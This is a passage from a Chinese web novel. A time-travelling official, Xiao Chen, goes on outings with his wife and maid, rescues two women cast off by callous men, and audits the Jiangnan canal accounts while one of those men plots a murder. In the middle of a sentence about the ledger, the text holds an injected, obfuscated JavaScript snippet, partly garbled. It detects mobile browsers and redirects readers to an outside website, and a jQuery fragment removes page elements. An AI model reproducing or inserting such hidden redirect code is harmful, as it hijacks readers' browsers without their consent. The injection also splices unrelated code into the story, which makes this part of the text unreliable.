三人麻利地起身穿衣,肖晨找船夫要了热水,简单洗漱后,便一起站在船头。雾气还没散,远处的青山只露出模糊的轮廓,湖面像铺了一层白纱,偶尔有小鱼跃出水面,溅起的水花在雾中格外清晰。 等了约莫半个时辰,东方的天空渐渐泛起鱼肚白,雾气慢慢散去,一轮红日从远山后探出头来,金色的光芒瞬间洒满湖面,把湖水染成了橘红色,连岸边的芦苇都镀上了一层金边。 “好漂亮!”丁香忍不住拍手,伸手想去触碰湖面的光,却只摸到冰凉的水汽。 李傲雪靠在肖晨身边,眼里满是惊艳:“以前只在画里见过这样的日出,没想到亲眼看着,比画里好看多了。” 肖晨握着两人的手,感受着掌心的温度,看着眼前的日出,心里忽然变得格外平静——他想起老者的叮嘱,想起原身的遗憾,想起现代的孤单,可此刻,这些都不重要了。重要的是身边的人还在,眼前的风景正好,未来的日子还长。 “以后咱们每年都来一次,好不好?”肖晨轻声说。 李傲雪和丁香同时点头,眼里满是欢喜。 太阳渐渐升高,雾气彻底散去,湖面上又热闹起来。船夫送来热腾腾的早饭,三人坐在船头,一边吃着粥,一边聊着天,偶尔有飞鸟从头顶掠过,留下清脆的鸣叫。 75.对我来说,她们更重要 早饭刚过,画舫正缓缓往湖心划去,准备趁着上午的好天气再赏会儿湖景,李傲雪忽然轻轻拉了拉肖晨的衣袖,指着不远处一艘停着的小船:“少爷,你看那边。” 肖晨顺着她指的方向望去,只见小船上,一个穿着锦袍的男子正对着身边的女子拳打脚踢,女子跪在船板上,发髻散乱,脸上带着泪痕,死死抓着男子的衣角,声音带着哭腔哀求:“夫君,求你别离开我,我以后一定好好听话,再也不惹你生气了……” 可那男子却一脸嫌恶地甩开她的手,抬脚踹在她的肩头,让她重重摔在船板上,声音尖利又刻薄:“听话?你也不看看自己是什么东西!以前我穷的时候,娶你不过是将就;现在我得了官,身份地位不一样了,你这种粗鄙的乡下妇人,哪还配做我的妻子?” 女子趴在地上,哭得更凶了,却还是挣扎着爬起来,想再去拉男子的手:“我为你生了两个孩子,为你照顾爹娘,你怎么能这么对我……” “孩子?爹娘?”男子冷笑一声,弯腰揪住她的头发,迫使她抬头看着自己,“现在谁还提那些?我马上就要娶王大人的女儿了,以后有的是好日子过,你赶紧滚,别在这碍我的眼!再纠缠,我就把你扔到湖里去!” 李傲雪看得脸色发白,下意识攥紧了肖晨的手,声音带着几分颤抖:“怎么会有这么狠心的人……她为他付出了这么多,他竟然说抛弃就抛弃。” 丁香也躲在肖晨身后,小声说:“这个人好凶,比以前的恶霸还坏……那个夫人好可怜。” 肖晨的脸色也沉了下来,他看着那男子嚣张的模样,又看着女子绝望的眼神,心里一阵窝火——这男子分明是得了权势就忘恩负义,把妻子的付出全当草芥,简直不配为人。他刚想让船夫把船划近些,看看能不能帮上忙,却见那女子突然停下了哭声,眼神从绝望变成了死寂,她慢慢松开抓着男子衣角的手,踉跄着站起身,看着男子,声音平静得吓人:“好,我走。但我告诉你,你今日负我,他日必遭报应。” 说完,她不等男子反应,转身就往船边走去,似乎想跳湖。男子见状,不仅没拦着,反而抱着胳膊,一脸看戏的模样:“有本事你就跳,我正好清净!” “不好!”肖晨连忙喊了一声,让船夫赶紧把船划过去。幸好女子只是站在船边,并没有真的跳下去,她看着渐渐靠近的画舫,眼里闪过一丝求生的微光,踉跄着朝他们伸出手:“求你们……救救我……” 肖晨让船夫把船停在小船旁边,伸手将女子拉了过来。李傲雪连忙递上自己的披风,帮她裹住发抖的身子,又倒了杯温水递给她:“夫人,你别怕,先喝口水缓缓。” 女子接过水杯,眼泪又忍不住掉了下来,对着三人连连道谢:“谢谢你们……谢谢你们愿意救我……” 那锦袍男子见女子被救走,气得在小船上跳脚,却又不敢过来——他认出肖晨穿的是官服,知道惹不起,只能恶狠狠地瞪了女子一眼,驾着小船飞快地走了。 看着男子远去的背影,丁香忍不住骂了一句:“真是个坏人!以后肯定没好下场!” 肖晨摸了摸丁香的头,又看向怀里还在发抖的女子,轻声问:“夫人,你接下来打算去哪里?要不要我们送你回娘家,或者找个安全的地方?” 女子擦了擦眼泪,摇了摇头:“我娘家早就没人了……我想去找我的孩子,他们被他送到乡下的亲戚家了,我一定要找到他们。”说到孩子,她的眼神又坚定起来。 李傲雪看着她,心里满是同情:“那你路上需要盘缠吗?我们这里还有些银子,你拿着,路上用。” 女子连忙摆手,想要拒绝,肖晨却直接把一锭银子塞到她手里:“拿着吧,找孩子需要钱,别跟我们客气。你一个女子路上不安全,我们送你到前面的码头,再帮你找辆去乡下的马车。” 女子看着手里的银子,又看着三人关切的眼神,眼泪掉得更凶了,却这次是感动的泪:“谢谢你们……你们真是好人……” 画舫缓缓往码头划去,李傲雪陪着女子说话,安抚她的情绪;丁香帮她整理散乱的发髻;肖晨则站在船头,看着远处的湖面,心里暗暗叹气——这个时代,有太多女子像眼前的妇人一样,只能依附男子生活,一旦被抛弃,就没了依靠。幸好,他能护住李傲雪和丁香,不让她们受这样的苦。 到了码头,肖晨帮女子找了辆去乡下的马车,又叮嘱车夫路上多照顾她。看着马车渐渐远去,李傲雪才松了口气,对肖晨说:“幸好咱们遇到了,不然她还不知道要遭多少罪。” 肖晨握住她的手,又拉过丁香,认真地说:“以后不管遇到什么事,我都会护着你们,绝不会让你们受这样的委屈。” 李傲雪和丁香对视一眼,都从对方眼里看到了笑意,她们轻轻点了点头,跟着肖晨往画舫走去——虽然看到了世间的寒凉,但身边人的温暖,足以驱散所有的寒意。 三人从码头下来,沿着郊外的小路散步,微风带着青草的香气扑面而来。走了没多远,就见前方的空地上架着几架秋千,几个穿着襦裙的女子正笑着荡着,裙摆随风扬起,像翩飞的蝴蝶,热闹又鲜活。 肖晨眼睛一亮,拉着两人快步走过去,指着秋千笑道:“这个好玩!我以前在书上见过,一直想试试。” 李傲雪看着秋千,无奈地摇摇头:“少爷,这是女子玩的消遣玩意儿,男子哪有玩这个的?传出去会被人笑话的。” 丁香也跟着点头,小声附和:“是啊公子,你看那边玩的都是姑娘家,咱们还是去别处逛逛吧?” 肖晨却不肯放弃,拉着两人的手晃了晃,带着几分撒娇的意味:“怕什么?咱们又没碍着别人。你们陪我一起玩,不就没人笑话了?”说着,他不由分说地把丁香推到秋千旁,“丁香先试试,我帮你推!” 丁香架不住他的热情,红着脸坐上秋千。肖晨站在身后,轻轻推着秋千绳,秋千慢慢荡起来,高度越来越高。丁香一开始还有些紧张,紧紧抓着绳子,后来也渐渐放开,笑着喊:“公子,再推高一点!好有意思啊!” 李傲雪站在一旁看着,眼里也渐渐染上笑意,不再执着于“男女之别”。等丁香玩够了,肖晨又拉着李傲雪的手,指着秋千:“傲雪,该你了,我也帮你推。” 李傲雪犹豫了一下,还是坐上了秋千。肖晨推着她,动作比刚才更轻柔,生怕她摔着。秋千荡起时,李傲雪的长发随风飘起,脸上带着久违的轻快笑意,像回到了无忧无虑的少女时光。 等李傲雪也玩够了,肖晨搓了搓手,眼睛亮晶晶地看着她:“傲雪,不如咱们俩一起玩?两个人站在秋千上,一起荡起来,肯定像在飞一样。” 李傲雪愣了一下,脸颊瞬间泛红:“两个人一起?会不会太……”她话还没说完,就被肖晨拉着坐上了秋千。秋千板不算宽,两人并肩坐着,肩膀紧紧贴在一起,能清晰地感受到彼此的体温。 “你可要抓紧了。”李傲雪稳住身形,伸手紧紧抓住秋千绳,又侧头叮嘱肖晨,眼底带着几分紧张,还有藏不住的羞涩。 肖晨看着她近在咫尺的脸,鼻尖萦绕着她身上的兰花香,心跳莫名快了几分,也伸手抓住绳子,声音带着几分底气不足的坚定:“当然了!我肯定抓牢,不会让你摔着。” 站在一旁的丁香笑着帮他们推秋千,秋千慢慢荡起来,高度越来越高。风从耳边吹过,带着郊外的青草香,肖晨侧头看向李傲雪,正好对上她望过来的目光——她的眼里映着蓝天和白云,满是温柔的笑意,比刚才荡着的秋千还要让人心动。 肖晨的脸颊瞬间发烫,连忙移开目光,却又忍不住偷偷看回去。李傲雪见他这副害羞的模样,忍不住笑出了声,声音清脆:“少爷,你脸都红了,还说没害羞?” “我没有!”肖晨嘴硬地反驳,手却不自觉地往她那边靠了靠,轻轻握住了她抓着绳子的手。李傲雪的手微微一颤,却没有松开,反而轻轻回握了一下,指尖的温度让两人的心跳都漏了一拍。 秋千还在荡着,阳光洒在两人身上,暖融融的。丁香站在下面,看着秋千上相视而笑的两人,也忍不住弯起了嘴角——风吹起他们的衣角,像一对要飞起来的鸟儿,温馨又美好。 等秋千慢慢停下来,肖晨才松开手,却还是扶着李傲雪的腰,帮她稳稳地跳下秋千。李傲雪的脸颊还泛着红,却主动挽住他的胳膊,小声说:“刚才……真的像在飞一样,很好玩。” “那下次咱们还来玩!”肖晨笑着说,又拉起丁香的手,“下次咱们三个一起,我帮你们推,推得更高!” 丁香笑着点头,三人并肩往回走,到了船上就开始收拾东西,就让船夫把马车停在路边等着。收拾好后,他们拿着行李就上了车。 马车轱轱驶回肖府门前,仆役连忙上前接过行李。肖晨刚跨下车,就伸了个懒腰,语气里满是疲惫却带着笑意:“这一路跑下来,还真有点累,不过心里痛快。” 李傲雪扶着他的胳膊,轻轻点头:“是啊,玩得尽兴,累点也值。”丁香跟在身后,手里还攥着从郊外摘的小野花,脸上满是满足。 肖晨转头对候在门口的丫鬟玉溪吩咐:“玉溪,去备三桶热水,我们要沐浴解乏。”玉溪应了声,快步往后院走去。 三人各自回房沐浴,温热的水漫过身体,洗去了一路的风尘,疲惫也消散了大半。肖晨洗完澡,换上宽松的常服,径直往李傲雪的房间走去——刚到门口,就见李傲雪正坐在镜前,由丫鬟帮着梳理长发,乌黑的发丝垂在肩头,衬得她肌肤愈发白皙。 “丫鬟先下去吧,我有话跟少夫人说。”肖晨让丫鬟退下,走到李傲雪身边,从镜中看着她的眉眼,笑着开口:“傲雪,今日在郊外荡秋千时,你笑起来的模样,我一直记在心里。我想把你当时的姿态画下来,让这模样一直留在纸上。” 李傲雪闻言,转头看向他,眼里满是惊喜:“少爷要画我?” “嗯。”肖晨点头,走到桌前铺开宣纸,研好墨,又拿起画笔,“你还记得当时的样子吗?就像在秋千上那样,随意坐着就好,不用刻意摆姿势,越自然越好。” 李傲雪站起身,走到房间中央的软榻旁,微微歪头想了想——她记得当时秋千荡到最高处时,风掀起了她的裙摆,她伸手抓着绳子,笑着看向肖晨。她便依着记忆,轻轻提起裙摆一角,另一只手做出抓绳的姿势,身体微微前倾,眼底带着几分当时的轻快笑意,看向肖晨:“少爷,是这样吗?” 肖晨看着她,眼前瞬间浮现出郊外秋千上的画面——阳光洒在她的发梢,裙摆像蝴蝶翅膀般扬起,眼里的笑意比阳光还耀眼。他连忙拿起画笔,笔尖沾墨,在宣纸上快速勾勒起来。 他先画她的身形:微微前倾的姿态,提着裙摆的手纤细修长,另一只手做出抓绳的弧度,裙摆被风吹起的褶皱也细细描出,连衣料上绣的细碎兰花都没落下。接着画她的眉眼:弯弯的眼梢,眼底藏着的笑意用淡墨轻轻晕开,鼻梁小巧挺直,唇瓣带着浅浅的粉色,连耳尖那点因害羞泛起的微红都细致地勾勒出来。 李傲雪就保持着姿势,安静地看着他作画——他作画时格外认真,眉头微微蹙着,眼神专注地落在宣纸上,笔尖在纸上划过,发出沙沙的轻响,阳光透过窗棂洒在他身上,让他的侧脸显得格外温柔。 画到一半,肖晨抬头看了她一眼,笑着说:“再笑一点,像当时那样,眼睛弯起来的样子最好看。” 李傲雪依言笑了笑,眼梢弯成了月牙,连嘴角都带着浅浅的梨涡。肖晨连忙低头,将这抹笑意细致地添在画上,笔尖一顿,又在她的发间添了一缕被风吹起的发丝——正是当时他看到的,最鲜活的模样。 约莫半个时辰后,肖晨放下画笔,对着画纸满意地笑了笑:“好了,你过来看看,像不像?” 李傲雪快步走过去,低头看向宣纸——画上的女子,穿着天青色的襦裙,提着裙摆站在秋千旁(他特意在背景添了秋千的轮廓),眉眼含笑,姿态轻盈,竟和当时在郊外的模样一模一样,连她自己都没注意到的细微神态,都被他精准地画了下来。 “太像了!”李傲雪惊喜地说,伸手轻轻拂过画纸上的裙摆,“少爷画得真好,连我裙摆上的兰花都画出来了。” 肖晨看着她欢喜的模样,心里满是暖意,伸手从身后轻轻抱住她,下巴抵在她的肩头:“因为你当时的样子,我看得格外认真。往后,我还要把咱们一起经历的事,都画下来,装订成画册,等老了再拿出来看,好不好?” 李傲雪靠在他怀里,笑着点头,眼底满是憧憬:“好啊,咱们还要画一起看日出的模样,一起游湖的模样,把所有开心的日子,都留在画里。” 肖晨的指尖轻轻拂过李傲雪的发梢,带着温柔的触感,声音低沉又坚定:“肯定会的,往后咱们的日子还长,要画的东西多着呢。” 话音刚落,李傲雪却忽然转过身,抬头望着他,眼底带着几分不安,声音轻轻的:“少爷,你以后……会不会也像今天湖上那个男人一样,日子好了,就抛弃我和丁香?” 肖晨闻言一怔,随即失笑——他没想到她会突然问起这个。可这笑意落在李傲雪眼里,却成了不确定的信号,她更着急了,伸手紧紧抓住他的衣袖,指尖微微用力:“少爷,你别笑啊,我是认真问你的。” 看着她眼底真切的慌乱,肖晨收起笑意,伸手轻轻捧着她的脸,低头吻上她的唇——这个吻带着安抚的温柔,慢慢褪去她的不安。等他稍稍退开,额头抵着她的额头,声音带着几分沙哑却无比认真:“傻丫头,想什么呢?除非是你们两个不要我,不然我怎么会抛弃你们?” 他的指尖轻轻摩挲着她的脸颊,眼神专注又深情:“你和丁香这么好,又漂亮又贴心,我能遇到你们,是这辈子最大的福气,疼都来不及,怎么舍得丢下你们?今天那个男人,是忘了本,可我不是他,我心里清楚,没了你们,我就算有再多的权势地位,也不过是孤孤单单一个人,那有什么意思?” 李傲雪听着他的话,眼眶渐渐泛红,却不是因为难过,而是因为安心。她伸手环住他的腰,把脸埋在他的怀里,声音带着几分哽咽:“我也舍不得少爷……我这辈子,只想跟着少爷,和丁香一起,好好过日子,再也不想分开。” 肖晨紧紧抱着她,下巴抵在她的发顶,轻轻拍着她的背,像在安抚受了惊的小猫:“不会分开的,咱们三个会一直在一起。以后别想这些有的没的,有我在,就不会让你们受委屈,更不会让你们有被抛弃的念头。” 他低头,在她的发间轻轻落下一个吻,声音温柔得能滴出水来:“咱们还有好多日子要一起过,要一起看更多的风景,画更多的画,怎么会分开呢?” 李傲雪在他怀里点了点头,心里的不安彻底消散了——她知道,少爷不是那个忘恩负义的男人,他说的每一句话,都带着真心,足够让她安心地跟着他,把往后的日子,都过成最安稳的模样。 肖晨轻轻揉了揉李傲雪的头发,声音带着几分困意:“时间不早了,咱们早点睡吧,明天我还要去吏部。” 李傲雪点头应着,伸手帮他解开外衫的玉带,指尖轻轻划过他的肩头;肖晨也帮她褪去襦裙的系带,两人动作间满是默契的温柔。待衣衫褪尽,肖晨将她揽进怀里,李傲雪顺势靠在他胸前,脸颊贴着他温热的皮肤,呼吸渐渐变得平稳。肖晨低头吻了吻她的发顶,也闭上眼,伴着她的呼吸声,很快便沉入梦乡。 第二天一早,肖晨洗漱完毕,吃过早饭,便匆匆往吏部赶去。刚走进衙署,就见张大人站在廊下,手里拿着一份公文,见他过来,笑着打趣:“肖大人这两日休假出去,玩得可顺心?看你这气色,倒像是养得不错。” 肖晨走上前,拱手行礼,笑着回话:“托张大人的福,出去陪家眷散了散心,一切都好。” 张大人闻言,拍了拍他的肩膀,语气里带着几分过来人的意味:“说起来,在咱们吏部,还真少见你这样疼妻子的——休假总想着陪家里人,不像旁人,一有空就往勾栏瓦舍跑。” 他顿了顿,话锋却微微一转,带着几分劝诫:“不过肖大人啊,咱们男人终究还是得以事业为重。你如今正是升迁的好时候,该多花些心思在公务上,至于女人……往后有了地位,还怕没有吗?不必把心思都拴在妻眷身上。” 肖晨脸上的笑意淡了几分,却还是保持着礼貌,语气坚定地回道:“张大人的好意,下官心领了。只是在我看来,事业固然重要,可家里的人更是我安心做事的底气。我能安心处理公务,全靠内子和丁香把家里打理得妥当,她们不是‘可有可无’的人,而是我想好好守护的人。至于‘往后有地位再找女人’的话,下官从未想过——一生能有她们相伴,已是万幸,哪还会再做旁的念想?” 这番话让张大人愣了愣,显然没料到他会这般直白地反驳。他看了肖晨一眼,见他眼神坦荡,不似作伪,便笑了笑,没再继续这个话题:“罢了罢了,每个人的想法不同,你自己心里有数就好。来,先跟我看看这份公文,昨天刚送来的,还得咱们一起商议着处理。” 肖晨点头应下,跟着张大人走进书房。只是走在路上,他心里却愈发笃定——不管旁人怎么说,他都不会改变自己的想法。李傲雪和丁香,是他穿越而来最大的幸运,他不仅要在事业上努力,更要护好她们,让她们永远不用像昨日湖上的妇人那般,尝尽被抛弃的苦楚。这份心意,永远不会因为旁人的几句话而动摇。 两人走进书房,张大人将公文递到肖晨手中,指着其中一段说道:“这是江南漕运的账目,底下报上来的数字有些含糊,几个州县的损耗差额太大,得派人去核查清楚,免得生出贪腐的事。” 肖晨接过公文,仔细翻看着,指尖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16241762|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 划过密密麻麻的字迹,眉头微微蹙起:“漕运损耗本就有定数,这么大的差额确实反常。依我看,得派个细心又靠谱的人去,最好能带着账本,当场核对出入库的记录。” 张大人点头赞同:“我也是这么想的。你刚休完假,本不想让你多跑,可吏部里这几个年轻人,要么经验不足,要么性子毛躁,还真没比你更合适的人选。”他看着肖晨,语气带着几分恳切,“你看,能不能辛苦一趟?去江南走一趟,把这事查清楚,也算立了一功,对你往后的升迁也有好处。” 肖晨握着公文的手紧了紧——去江南,一来一回至少要半个月,他倒不怕辛苦,只是放心不下家里的李傲雪和丁香。他想起昨日李傲雪担忧的眼神,想起两人相拥而眠的安稳,心里竟生出几分不舍。 见他犹豫,张大人以为他是怕麻烦,又补了一句:“你放心,这趟差事朝廷给的补贴丰厚,沿途的驿站也会照应,不会让你受委屈。若是担心家里,也能先回去交代一声,三日后再出发不迟。” 肖晨回过神,拱手道:“下官不是怕辛苦,只是家中内眷从未与我分开过,得回去跟她们说一声,让她们安心。三日后出发,下官没问题,定能把漕运的事查清楚。” 张大人见他应下,笑着拍了拍他的肩:“好!有你这句话,我就放心了。你先回去准备,公文我让人先整理好,明日给你送过去。” 肖晨应了声,拿着公文走出书房,脚步比来时快了几分——他想早点回府,把去江南的事告诉李傲雪和丁香,免得她们等他回家时担心。 回到肖府,刚进内院,就见李傲雪和丁香正坐在廊下,一个缝着衣服,一个择着菜,见他回来,连忙起身迎上来。 “少爷,今日怎么回来得这么早?”李傲雪接过他脱下的官服,递上一杯温水。 肖晨接过水杯,喝了一口,拉着两人坐在廊下,轻声说道:“吏部有差事,要我去江南查漕运的账目,三日后就得出发,大概要半个月才能回来。” 这话一出,李傲雪和丁香脸上的笑意瞬间淡了。丁香攥着衣角,小声问:“公子要去半个月啊?那路上会不会不安全?江南是不是很远?” 李傲雪也看着他,眼里满是担忧:“是啊少爷,你一个人去,饮食起居都得自己留意,要不要让家丁跟着你?也好有个照应。” 肖晨看着两人担忧的模样,心里暖暖的,伸手握住她们的手:“放心,我带两个靠谱的家丁去,沿途有驿站,不会有事的。就是这半个月,不能陪在你们身边了。”他顿了顿,又补充道,“我已经跟张大人说好了,这几日在家整理行装,也能多陪你们几天。” 李傲雪点点头,压下心里的不舍,笑着说:“那我这就去给你收拾行李,江南比京城潮湿,得多带几件干爽的衣服,再备些驱寒的药材,免得你路上着凉。” 丁香也连忙说:“我去跟厨房说,这几日多做些公子爱吃的菜,让你带着力气上路!” 看着两人忙前忙后的身影,肖晨心里满是安稳——他知道,不管他去多远,家里总有两个人在等着他回来,这份牵挂,就是他在外奔波最大的底气。 接下来的三天,李傲雪亲自为他整理行李,每件衣服都叠得整整齐齐,还在包袱里放了一小袋他爱吃的杏仁酥;丁香则每天变着花样做他爱吃的菜,还绣了个平安符,偷偷放进他的行囊里。肖晨也尽量陪着她们,白天一起在院子里晒太阳,晚上一起坐在灯下看书,把能相处的时光都紧紧攥在手里。 出发那天一早,天还没亮,李傲雪和丁香就起来为他送行。李傲雪帮他理了理衣领,眼眶微微泛红:“少爷,路上一定要小心,有事记得让人捎信回来,我们在家等你。” 丁香也红着眼眶,把一个装着生姜水的瓷壶递给他:“公子,这个你带着,路上晕船了就喝一口。我们会把家里打理好,你放心。” 肖晨接过瓷壶,伸手抱了抱两人,声音带着几分沙哑:“等着我,我很快就回来。” 他转身登上马车,掀开帘子,看着两人站在门口挥手的身影,直到马车驶远,再也看不见,才缓缓放下帘子。他从行囊里拿出那个平安符,指尖轻轻摩挲着上面的针脚,心里暗暗想着——一定要快点查完差事,早点回到她们身边,回到这个满是温暖的家。 马车在江南的青石板路上颠簸了五日,终于抵达了漕运所在的苏州府。肖晨掀开车帘,只见河道纵横,乌篷船在水面缓缓划过,岸边的白墙黛瓦间挂着红灯笼,连空气里都带着水乡特有的湿润气息——比起京城的威严庄重,这里多了几分灵动柔和,让他忍不住感叹:“果然是江南水乡,风土人情比京城自在多了。” 他带着家丁找了家临河的客栈,安顿好行李后,便下楼去吃晚饭。刚坐下点了几样江南小菜,就听见邻桌两个茶客压低声音议论,语气里满是唏嘘。 “你听说了吗?城西那个姓苏的姑娘,真是可怜得很!” “怎么没听说?为了供她那心上人读书,把自己攒了好几年的嫁妆钱都拿出来了,结果呢?那男人考上了秀才,就想攀附知府家的千金,怕苏姑娘碍事,竟想偷偷杀了她!” “可不是嘛!更离谱的是,那苏姑娘到现在还对他不离不弃,总说‘是我做得不够好,才让他变了心’,昨天还去知府府外等他,被家丁赶出来都不肯走,真是傻得让人心疼!” 肖晨握着筷子的手顿了顿,心里一阵发凉——这故事,竟比他现代看过的《聊斋志异》里“梅三娘”的遭遇还要荒唐。梅三娘虽被负心人害死,至少最后还能化作厉鬼复仇,可这苏姑娘,却还在为那等渣男自我苛责,连性命都快保不住了,竟还抱着不切实际的幻想。 他忍不住多问了一句:“两位兄台,这苏姑娘和那男人,具体是怎么回事?那男人想杀她,就没人管吗?” 那两个茶客见他是外乡人,也没隐瞒,接着说道:“那男人叫周文斌,以前就是个穷书生,全靠苏姑娘接济。后来他搭上了知府千金,就嫌苏姑娘出身低微,怕她坏了自己的好事。前几日有人看见他把苏姑娘骗到河边,想推她下水,幸好被路过的船家救了,不然苏姑娘早就没命了!” “至于官府?知府大人巴不得招周文斌做女婿,哪会管这种‘民间琐事’?苏姑娘去报官,反而被官差骂了一顿,说她‘胡搅蛮缠,坏人名声’,你说这叫什么事!” 肖晨听得眉头紧锁——这周文斌不仅忘恩负义,还敢草菅人命,知府竟还纵容包庇,简直是黑白颠倒。他想起昨日湖上被抛弃的妇人,想起李傲雪担忧的眼神,心里更不是滋味:这世上,怎么有这么多女子被负心人践踏,连基本的安全都得不到保障? 正思忖着,就听见客栈外传来一阵喧闹,有人喊:“苏姑娘又来啦!还在门口等周公子呢!” 肖晨起身走到门口,只见客栈斜对面的柳树下,站着一个穿着粗布衣裙的女子——她头发有些散乱,脸上带着淡淡的伤痕,手里紧紧攥着一个布包,眼神固执地望着知府府的方向,正是茶客口中的苏姑娘。 没过多久,知府府的侧门开了,周文斌穿着锦缎长袍,身边跟着几个家丁,从里面走出来。他看到苏姑娘,脸色瞬间变得阴沉,快步走上前,压低声音骂道:“你怎么还来?我说过多少次,咱们已经没关系了,你再纠缠,休怪我对你不客气!” 苏姑娘连忙上前,把布包递给他,声音带着哀求:“文斌,这是我最后一点银子,你拿着买点笔墨。我知道你不是故意的,是不是知府千金逼你了?我可以等你,等你想通了,我们还像以前一样好不好?” 周文斌看着她递过来的布包,眼里没有丝毫动容,反而一把推开她,厉声道:“滚开!谁要你的脏钱!再敢挡我的路,我就真的对你不客气!”苏姑娘没站稳,重重摔在地上,布包里的碎银子撒了一地,像散落的眼泪。 周文斌看都没看她一眼,转身就走,家丁还故意在她身边跺了跺脚,嘴里骂着“晦气”。苏姑娘趴在地上,看着周文斌远去的背影,眼泪终于忍不住掉了下来,却还是伸手,一点一点地捡着地上的银子,嘴里喃喃自语:“我哪里做得不好……我改还不行吗……” 肖晨看着这一幕,心里又气又疼。他快步走过去,弯腰扶起苏姑娘,又让家丁帮忙把地上的银子捡起来,递到她手里:“姑娘,你别再执迷不悟了,这种男人,根本不值得你这样对他!” 苏姑娘抬起满是泪痕的脸,看着肖晨,声音带着绝望:“可我……我已经没有别的念想了,除了他,我什么都没有了……” 肖晨看着她无助的模样,心里有了主意——他这次来江南,本是为了查漕运,可遇上这种事,他不能不管。他看着苏姑娘,语气坚定地说:“姑娘,你跟我来。我虽不能立刻帮你讨回公道,但至少能让你远离他,保住性命。你放心,只要你愿意醒过来,往后的日子,总能慢慢好起来的。” 76.被她撩拨,受不了热情的他 苏姑娘愣在原地,看着肖晨真诚的眼神,又低头看了看手里的碎银子——那是她最后的念想,却换不来周文斌半分回头。她沉默了片刻,终于轻轻点了点头,眼泪却又忍不住掉了下来,带着几分绝望后的松动:“多谢……多谢公子愿意帮我。” 肖晨扶着她往客栈走,路上轻声问道:“你家里还有亲人吗?若是有,我可以送你回去,总比在这里守着一个不值得的人好。” 苏姑娘摇了摇头,声音带着哽咽:“爹娘早就不在了,我从小跟着姨母过,后来姨母也走了,这世上就只剩我一个人了。以前我以为文斌是我的依靠,现在才知道……是我看错了人。” 回到客栈房间,肖晨让家丁去厨房端了碗热粥,递给苏姑娘:“先喝点粥暖暖身子,别垮了自己。你放心,这周文斌欠你的,还有他想害你的事,我不会就这么算了。” 苏姑娘捧着热粥,指尖传来的温度让她稍微安定了些。她抬起头,看着肖晨:“公子……您是京城来的官吗?我听说知府大人和周文斌关系好,您会不会……因为这事惹上麻烦?” “我是吏部的官员,这次来江南是为了查漕运的事,本不想多管闲事,但见你处境艰难,实在不能坐视不理。”肖晨语气平静却坚定,“知府虽护着周文斌,但他若真敢包庇杀人犯,我也有办法向上禀明。不过眼下最重要的,是先让你脱离危险,再做打算。” 他想了想,又说道:“我在苏州府有个故人,是开绣坊的,为人和善。明日我送你去她那里,你可以跟着学绣活,往后靠自己的手艺过日子,总比在这里看人脸色强。” 苏姑娘听到这话,眼里终于有了几分光亮——她从小就会些绣活,只是后来为了供周文斌读书,才把绣筐收了起来。若是能靠绣活谋生,或许真的能重新开始。她放下粥碗,对着肖晨深深行了一礼:“多谢公子大恩,若不是您,我恐怕……”话说到一半,又忍不住红了眼眶。 “不用谢我,你只要好好活着,往后别再委屈自己,就是对我最好的报答。”肖晨温声说道,又让家丁去隔壁房间收拾出一张床,让苏姑娘先歇着。 第二天一早,肖晨先去绣坊找了故人王娘子,把苏姑娘的遭遇简单说了一遍。王娘子本就心善,一听苏姑娘的处境,立刻答应收留她:“肖大人放心,我会好好待苏姑娘,教她绣活,让她有个安身之处。” 肖晨带着苏姑娘来到绣坊,看着王娘子热情地给她安排住处、拿绣线,心里松了口气。苏姑娘站在绣架前,指尖轻轻拂过五彩的丝线,转头对肖晨说:“公子,您放心去忙您的事吧,我会好好学绣活,再也不胡思乱想了。” 肖晨点头笑了笑:“好,我查完漕运的事,会来看你。若是周文斌再来找你麻烦,你就立刻让人去驿站报信,我不会让他欺负你。” 安顿好苏姑娘,肖晨才带着家丁去了漕运衙门。一进门,他就拿出公文,严肃地对漕运官说道:“我奉吏部之命,来核查江南漕运的账目,把近半年的出入库记录、损耗清单都拿出来,我要一一核对。” 漕运官见他态度强硬,又拿着吏部的公文,不敢怠慢,连忙让人把账本搬了出来。肖晨坐在桌前,一页一页仔细核对,指尖划过密密麻麻的数字,眼神锐利——他发现其中几个州县的“损耗”远超定数,而且账本上的签字模糊,有些甚至没有经手人的署名,显然有问题。 “这几个州县的损耗,为什么比其他地方多这么多?经手人是谁?”肖晨指着账本上的数字,语气严肃地问道。 漕运官眼神闪烁,支支吾吾地说:“这……这江南雨水多,漕船偶尔会出些意外,损耗自然多了些,经手人……可能是下面的小吏,具体是谁,我也记不清了。” 肖晨冷笑一声:“记不清?这么大的损耗,你身为漕运官,竟然说记不清?看来这账目的问题,比我想象的还要大。”他站起身,“你现在立刻派人去这几个州县,把经手漕运的小吏都叫过来,我要当面问话。若是敢拖延或者隐瞒,休怪我禀明朝廷,治你一个包庇之罪!” 漕运官见他动了真格,吓得脸色发白,连忙点头:“是是是,我这就派人去叫,绝不敢拖延!” 肖晨重新坐回桌前,继续翻看账本,心里却想着——不管是周文斌的恶行,还是漕运的贪腐,他都要查个水落石出。 周文斌从家丁口中得知肖晨是京城来的吏部官员,心里又怕又恨——怕肖晨会追究他谋害苏姑娘的事,断了他攀附知府的路;更恨苏姑娘竟得了官员相助,没如他所愿消失。他在书房里踱来踱去,眼珠一转,竟生出个歹毒的主意:若能把苏姑娘骗出来,彻底解决掉,再把事情推到意外上,肖晨就算想查,也找不到证据。 他立刻叫来了两个心腹家丁,压低声音吩咐:“去城西那处废弃的院子,把周围洒上油,别让人看见。再去绣坊,就说我有要事跟苏姑娘说,让她务必来一趟——记住,语气要软,就说我想通了,想跟她认错。” 家丁领命而去,周文斌则让人备了一坛酒和几碟小菜,装出一副悔悟的模样,提前去了废弃院子。那院子常年无人居住,院墙斑驳,院里长满杂草,只有一间破旧的正房还能遮风挡雨,空气中满是霉味。他看着家丁在院墙外洒完油,满意地笑了笑,提着酒菜走进正房,把东西放在缺了角的桌上。 